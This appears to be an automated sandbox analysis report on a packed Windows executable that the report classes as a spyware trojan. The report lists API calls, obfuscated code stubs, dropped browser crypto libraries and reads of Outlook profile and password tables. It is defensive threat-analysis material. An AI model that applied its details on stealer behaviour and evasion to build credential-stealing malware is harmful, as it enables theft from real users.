Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CAFB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CAFB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA9F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA18EA	0_2_00BA18EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878	0_2_00C40878
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3D1B4	0_2_00C3D1B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3815A	0_2_00C3815A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C45907	0_2_00C45907
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B33151	0_2_00B33151
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B322BD	0_2_00B322BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC52F6	0_2_00BC52F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3BAB5	0_2_00C3BAB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1BBAE	0_2_00B1BBAE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3F48D	0_2_00C3F48D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C39C61	0_2_00C39C61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B6F45F	0_2_00B6F45F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C34D42	0_2_00C34D42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5668B	0_2_00D5668B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BFE61A	0_2_00BFE61A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2CE62	0_2_00D2CE62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C43E2A	0_2_00C43E2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3676D	0_2_00C3676D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB8772	0_2_00CB8772
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA935A0	0_2_6CA935A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF34A0	0_2_6CAF34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC4A0	0_2_6CAFC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6C80	0_2_6CAA6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9D4E0	0_2_6CA9D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD6CF0	0_2_6CAD6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA64C0	0_2_6CAA64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD4D0	0_2_6CABD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0542B	0_2_6CB0542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0AC00	0_2_6CB0AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5C10	0_2_6CAD5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2C10	0_2_6CAE2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5440	0_2_6CAA5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0545C	0_2_6CB0545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF85F0	0_2_6CAF85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0DD0	0_2_6CAD0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAFD00	0_2_6CAAFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABED10	0_2_6CABED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0512	0_2_6CAC0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4EA0	0_2_6CAF4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFE680	0_2_6CAFE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB5E90	0_2_6CAB5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB076E3	0_2_6CB076E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9BEF0	0_2_6CA9BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAFEF0	0_2_6CAAFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9E30	0_2_6CAF9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5600	0_2_6CAE5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD7E10	0_2_6CAD7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06E63	0_2_6CB06E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C670	0_2_6CA9C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2E4E	0_2_6CAE2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4640	0_2_6CAB4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB9E50	0_2_6CAB9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD3E50	0_2_6CAD3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE77A0	0_2_6CAE77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9DFE0	0_2_6CA9DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6FF0	0_2_6CAC6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA9F00	0_2_6CAA9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD7710	0_2_6CAD7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC60A0	0_2_6CAC60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC0E0	0_2_6CABC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD58E0	0_2_6CAD58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB050C7	0_2_6CB050C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADB820	0_2_6CADB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4820	0_2_6CAE4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA7810	0_2_6CAA7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF070	0_2_6CADF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8850	0_2_6CAB8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD850	0_2_6CABD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C9A0	0_2_6CA9C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACD9B0	0_2_6CACD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5190	0_2_6CAD5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF2990	0_2_6CAF2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B170	0_2_6CB0B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAD960	0_2_6CAAD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB970	0_2_6CAEB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA940	0_2_6CABA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB02AB0	0_2_6CB02AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA922A0	0_2_6CA922A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4AA0	0_2_6CAC4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAACAB0	0_2_6CAACAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0BA90	0_2_6CB0BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB1AF0	0_2_6CAB1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADE2F0	0_2_6CADE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD8AC0	0_2_6CAD8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD9A60	0_2_6CAD9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F380	0_2_6CA9F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB053C8	0_2_6CB053C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD320	0_2_6CADD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAC370	0_2_6CAAC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95340	0_2_6CA95340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CACCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 008745C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAD94D0 appears 90 times

Source: file.exe, 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2391070625.000000006CD15000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: qzklfjmo ZLIB complexity 0.9948769126827041

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAF7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAF7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00888680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00888680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00883720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00883720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\HJXN12YW.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390988698.000000006CCCF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390988698.000000006CCCF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390988698.000000006CCCF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390988698.000000006CCCF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390988698.000000006CCCF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390988698.000000006CCCF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2264259569.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2249072520.000000001D6C8000.00000004.00000020.00020000.00000000.sdmp, CBGCBGCAFIIECBFIDHIJ.0.dr, BFCAAEHJDBKJJKFHJEBK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390604603.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1838080 > 1048576

Source: file.exe

Static PE information: Raw size of qzklfjmo is bigger than: 0x100000 < 0x19a800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2390988698.000000006CCCF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2390988698.000000006CCCF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.870000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qzklfjmo:EW;ysqshdlq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qzklfjmo:EW;ysqshdlq:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00889860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00889860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c6c02 should be: 0x1c6950

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qzklfjmo
Source: file.exe	Static PE information: section name: ysqshdlq
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C6E889 push 32713DCEh; mov dword ptr [esp], esi	0_2_00C6E8F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA18EA push edi; mov dword ptr [esp], 51BE5DD7h	0_2_00BA19B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA18EA push ecx; mov dword ptr [esp], 00000000h	0_2_00BA19BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA18EA push ebp; mov dword ptr [esp], esp	0_2_00BA1A02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA18EA push edi; mov dword ptr [esp], eax	0_2_00BA1A4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA18EA push 574D57B9h; mov dword ptr [esp], esp	0_2_00BA1A54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C640A1 push edi; mov dword ptr [esp], eax	0_2_00C64106
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5A857 push ebx; mov dword ptr [esp], 1FD3AC55h	0_2_00D5A86B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5A857 push 6AF129EDh; mov dword ptr [esp], eax	0_2_00D5A8A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5A857 push edi; mov dword ptr [esp], 3FB387D5h	0_2_00D5A8BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5A857 push edi; mov dword ptr [esp], 68C00820h	0_2_00D5A907
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D28045 push 01D818E1h; mov dword ptr [esp], esi	0_2_00D28111
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAB863 push edi; mov dword ptr [esp], ecx	0_2_00CAB946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAB863 push 5CA3AB24h; mov dword ptr [esp], ebx	0_2_00CAB98D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAB863 push esi; mov dword ptr [esp], edi	0_2_00CAB99A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push 50423D37h; mov dword ptr [esp], edi	0_2_00C4088A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push 60666618h; mov dword ptr [esp], eax	0_2_00C408D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push edi; mov dword ptr [esp], 69BFF462h	0_2_00C40949
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push ecx; mov dword ptr [esp], 1260DF26h	0_2_00C40967
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push eax; mov dword ptr [esp], 3039E5F6h	0_2_00C40983
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push eax; mov dword ptr [esp], edx	0_2_00C409A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push 0AC33A83h; mov dword ptr [esp], edi	0_2_00C409F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push 5A4639D0h; mov dword ptr [esp], edi	0_2_00C40A27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push edi; mov dword ptr [esp], ecx	0_2_00C40A5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push ebp; mov dword ptr [esp], eax	0_2_00C40B84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push ebx; mov dword ptr [esp], 0C0372C9h	0_2_00C40C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push ecx; mov dword ptr [esp], 15FDC104h	0_2_00C40CDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push 28630CBEh; mov dword ptr [esp], ebx	0_2_00C40CED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push ebp; mov dword ptr [esp], 4D652BD2h	0_2_00C40D6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push ecx; mov dword ptr [esp], eax	0_2_00C40DE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C40878 push 411A435Ah; mov dword ptr [esp], edi	0_2_00C40EE4

Source: file.exe

Static PE information: section name: qzklfjmo entropy: 7.953841410697084

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
